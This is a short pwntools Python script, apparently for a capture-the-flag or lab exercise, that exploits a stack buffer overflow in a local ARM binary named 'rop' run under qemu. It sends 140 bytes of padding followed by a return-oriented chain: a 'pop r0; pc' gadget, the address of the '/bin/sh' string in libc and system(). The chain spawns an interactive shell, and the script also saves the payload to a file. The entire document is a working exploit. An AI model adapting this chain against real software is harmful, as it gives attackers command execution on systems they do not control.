from pwn import *

context.update(log_level='debug', arch='arm', bits='32', os='linux')


def main():
    libc_start = 0x3fe45000 
    pop_r0_pc_offset = 0x00150bbc
    pop_r0_pc = libc_start + pop_r0_pc_offset

    p = process(['qemu-arm','-L','/usr/arm-linux-gnueabi', './rop'])

    libc = ELF("/usr/arm-linux-gnueabi/lib/libc.so.6")
    system_offset = libc.symbols['system']
    bin_sh_offset = next(libc.search(b'/bin/sh\x00'))
    system_addr = libc_start + system_offset
    bin_sh_addr = libc_start + bin_sh_offset


    payload = b"A" * 140
    payload += p32(pop_r0_pc)
    payload += p32(bin_sh_addr)
    payload += p32(system_addr)
    

    f = open("armshell","wb")
    f.write(payload)
    f.close()

    p.sendline(payload)

    p.interactive()


if __name__ == "__main__":
    main()